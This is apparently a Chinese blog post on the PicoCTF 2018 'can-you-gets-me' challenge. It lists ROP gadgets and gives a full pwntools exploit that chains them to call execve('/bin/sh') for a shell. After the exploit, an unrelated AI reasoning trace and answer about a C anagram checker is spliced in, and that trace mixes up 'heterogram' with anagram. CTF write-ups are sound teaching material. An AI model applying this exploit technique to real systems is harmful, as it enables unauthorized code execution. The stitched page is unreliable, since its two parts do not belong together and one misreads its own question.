非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me

本文介绍了一种在NX保护下利用程序中的Gadget进行ROP攻击的方法,通过构造特定的exp,成功实现了execve系统调用来获取shell。文章详细解释了如何在不可执行堆栈上放置/bin/sh字符串,并利用gadget进行系统调用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言:

对于这种非常规的栈溢出题目,我自己也是见的比较少,故写此博客记录一下。

解题思路

查看保护

在这里插入图片描述
只开了NX保护的32位程序,如果是常规题的话,应该是非常容易做的。

进入IDA查看伪代码

打开IDA,如果是第一次见这种题目就会傻眼了。
在这里插入图片描述
题目中的每一个函数都好像是自己写的,那么我们就不能利用got表来泄露函数地址来getshell了。
题目开了NX保护,我们不能写shellcode,常规的ROP又利用不了,我们就完全利用不了libc里边的函数了。
乍一看,好像没什么办法了,但是我们可以用程序中非常多的gadget来调用系统调用。

目标:execve(0xb, “/bin/sh”, 0, 0);

既然是系统调用,我们就很容易想到execve来getshell,而程序中也正好有这些gadgets,包括最重要的int 0x80。
而execve的结构是:

eax = 0x0b
ebx = address of "/bin/sh"
ecx = 0
edx = 0

我们就用ROPgadget来找到我们想要的gadget。

0x080b81c6 : pop eax ; ret
0x0806f02a : pop edx ; ret
0x0806f051 : pop ecx ; pop ebx ; ret
0x080549db : mov [edx], eax;ret
0x08049303 : xor eax, eax ; ret
0x0808f097 : add eax, 2 ; ret
0x0808f0b0 : add eax, 3 ; ret
0x0806cc25 : int 0x80
0x080481b2 : ret

而且我们还需要把/bin/sh放到一个地方,放在哪里合适呢?

0x08048000 0x080e9000 r-xp	/mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me
0x080e9000 0x080eb000 rw-p	/mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me   #毫无疑问,放在这里可写的地方最合适
0x080eb000 0x0810e000 rw-p	[heap]
0xf7ffa000 0xf7ffd000 r--p	[vvar]
0xf7ffd000 0xf7ffe000 r-xp	[vdso]
0xfffdd000 0xffffe000 rw-p	[stack]

我们就放在0x080e9000到0x080eb000之间就行
然后我们用我们找到的gadgets来构造exp就可以了。

完整exp:

#! /usr/bin/env python
from pwn import *

p = process('./PicoCTF_2018_can-you-gets-me')
#p = remote('node3.buuoj.cn', 28541)

writeable_memory = 0x080e9040
binsh = 0x80e9040
int80 = 0x0806cc25
ret = 0x080481b2

pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
pop_ecx_ebx = 0x0806f051
mov_eax_to_edx = 0x080549db

set_eax_zero = 0x08049303
add_eax_two = 0x0808f097
add_eax_three = 0x0808f0b0

payload = ""
payload += "A"*28

payload += p32(pop_edx)
payload += p32(writeable_memory)

payload += p32(pop_eax)
payload += "/bin"

payload += p32(mov_eax_to_edx)

writeable_memory += 4

payload += p32(pop_edx)
payload += p32(writeable_memory)

payload += p32(pop_eax)
payload += "/sh\x00"

payload += p32(mov_eax_to_edx)

writeable_memory += 3

payload += p32(set_eax_zero)
payload += p32(pop_edx)

payload += p32(writeable_memory)    #   让字符串以空结尾
payload += p32(mov_eax_to_edx)

payload += p32(pop_ecx_ebx)
payload += p32(0)
payload += p32(binsh)

payload += p32(pop_edx)
payload += p32(0)

payload += p32(set_eax_zero)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_two)     # eax = 0x0b

payload += p32(int80)
payload += p32(ret)

p.recvuntil("GIVE ME YOUR NAME!")
p.send(payload)
p.interactive()
<think>好的,我现在需要解释用户关于C语言编写的判断异位构词(heterogram)的程序逻辑的问题。首先,用户提到了“异位构词”,但根据提供的引用,这可能指的是字母异位词(变位词)或者同位异构字符串。但用户特别提到heterogram,这通常指每个字母只出现一次的字符串,比如“abcdefg”,但可能用户有混淆。需要先确认定义。 根据引用[1][2][3],变位词(字母异位词)是指字母排列不同但字母计数相同,比如“listen”和“silent”。而同位异构字符串如引用[2]中的例子,每个对应位置的单词是变位词。但用户的问题是关于heterogram,这可能是指另一种概念,即字符串中每个字母只出现一次。需要明确这一点。 用户可能混淆了术语。根据常规定义,heterogram是各字母不重复的单词,如“subdermatoglyphic”。而变位词是字母重新排列的单词。需要先确定用户的实际需求。但根据提供的引用,用户可能实际需要的是检查两个字符串是否为字母异位词,即变位词,如引用[1]中的问题。或者,用户可能想确认一个字符串是否是heterogram(每个字母出现一次)。 假设用户需要的是检查两个字符串是否为变位词,即字母异位词,那么程序逻辑通常涉及统计每个字符的出现次数是否相同。例如,在C语言中,可以创建一个大小为26的数组,分别统计两个字符串中各字符的频率,然后比较这两个数组是否一致。需要考虑大小写、空格等,但根据引用中的例子,可能只处理小写字母且无空格,因为引用[2]提到输入字符串由小写字母和空格组成,但题目中的变位词可能只关注字母部分,而空格作为单词分隔符。 可能的步骤: 1. 检查两个字符串长度是否相同,不同则直接返回false。 2. 统计每个字符的出现次数,使用数组。 3. 比较两个统计数组是否完全一致。 现在需要编写对应的C函数。例如: 函数is_anagram,参数为两个char指针,返回bool。首先检查长度,然后遍历两个字符串,统计每个字符出现的次数。例如,对于字符串s,每个字符s[i]对应的位置是s[i]-'a',然后在统计数组中增加计数。之后比较两个统计数组是否相同。 主函数可能读取两个字符串,调用该函数,输出结果。 需要考虑到C语言中字符串处理的方式,比如使用int数组[26]初始化为0,然后遍历每个字符,忽略非字母字符吗?或者根据题目要求处理?例如,如果题目中的字符串仅包含小写字母,则不需要处理其他情况。 例如,引用[1]中的解法1可能采用逐字检查,类似于统计计数的方法。在C语言中,可以类似实现。例如,函数实现可能如下: bool isAnagram(char* s, char* t) { if (strlen(s) != strlen(t)) return false; int count[26] = {0}; for (int i = 0; s[i] != '\0'; i++) { count[s[i] - 'a']++; count[t[i] - 'a']--; } for (int i = 0; i < 26; i++) { if (count[i] != 0) return false; } return true; } 这个函数的逻辑是:统计s中的字符增加计数,t中的字符减少计数,最后如果所有计数为0,则是变位词。这可能比两次遍历更高效。 主函数可能读取两个字符串,并调用该函数,输出是否是变位词。 现在需要解释这个函数的实现逻辑和主函数的流程。例如,主函数可能从标准输入获取两个字符串,或者通过参数传递。需要注意字符串的输入方式,避免缓冲区溢出等问题。 可能的步骤: 主函数: - 读取输入的两个字符串。 - 调用isAnagram函数。 - 输出结果。 需要处理输入,但C语言中可能需要使用fgets或者scanf等,需要注意处理空格和换行符。例如,如果输入中有空格,可能需要用gets或fgets,但要注意安全性。 另外,需要考虑是否转换大小写,例如将所有字符转为小写处理,但根据引用中的题目,可能输入都是小写字母,因此不需要转换。 综上,程序逻辑大致如上。现在需要将这些整理成中文解释,结构清晰,逐步说明函数实现和主流程。同时,根据用户的问题,需要解释C语言中的实现,可能涉及数组操作、循环等。</think>### C语言实现异位词检查程序逻辑 #### 函数实现逻辑 **异位词(字母异位词)** 指两个字符串的字符种类和数量完全相同,但排列顺序不同,例如“listen”和“silent”。实现逻辑如下: 1. **长度检查** 若两字符串长度不同,直接返回`false`,因为异位词必须长度一致[^1]。 2. **字符计数统计** - 使用长度为26的整型数组`count`,对应26个小写字母。 - 遍历第一个字符串,对每个字符`s[i]`,在`count`中对应位置(`s[i] - 'a'`)增加计数。 - 遍历第二个字符串,对每个字符`t[i]`,在`count`中对应位置减少计数[^3]。 3. **验证计数一致性** 最后检查`count`数组是否全为0。若存在非零值,说明字符数量不匹配,返回`false`;否则返回`true`。 ```c #include <stdbool.h> #include <string.h> bool is_anagram(const char *s, const char *t) { if (strlen(s) != strlen(t)) return false; int count[26] = {0}; for (int i = 0; s[i] != '\0'; i++) { count[s[i] - 'a']++; count[t[i] - 'a']--; } for (int i = 0; i < 26; i++) { if (count[i] != 0) return false; } return true; } ``` #### 主函数流程 主函数负责输入验证和结果输出: 1. **读取输入** 使用`fgets`从标准输入获取两个字符串(假设最大长度为1000)。 2. **去除换行符** 替换`fgets`捕获的换行符为字符串终止符`\0`。 3. **调用检查函数** 执行`is_anagram`函数判断是否为异位词。 4. **输出结果** 根据返回值打印“是”或“否”。 ```c #include <stdio.h> int main() { char s[1000], t[1000]; printf("输入第一个字符串:"); fgets(s, sizeof(s), stdin); s[strcspn(s, "\n")] = '\0'; // 去除换行符 printf("输入第二个字符串:"); fgets(t, sizeof(t), stdin); t[strcspn(t, "\n")] = '\0'; if (is_anagram(s, t)) { printf("是异位词\n"); } else { printf("不是异位词\n"); } return 0; } ``` #### 关键点说明 - **时间复杂度**:$O(n)$,其中$n$为字符串长度,仅需两次遍历。 - **空间复杂度**:$O(1)$,固定使用长度为26的数组。 - **局限性**:仅支持小写字母,若包含大写或特殊字符需额外处理(如转换为小写)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值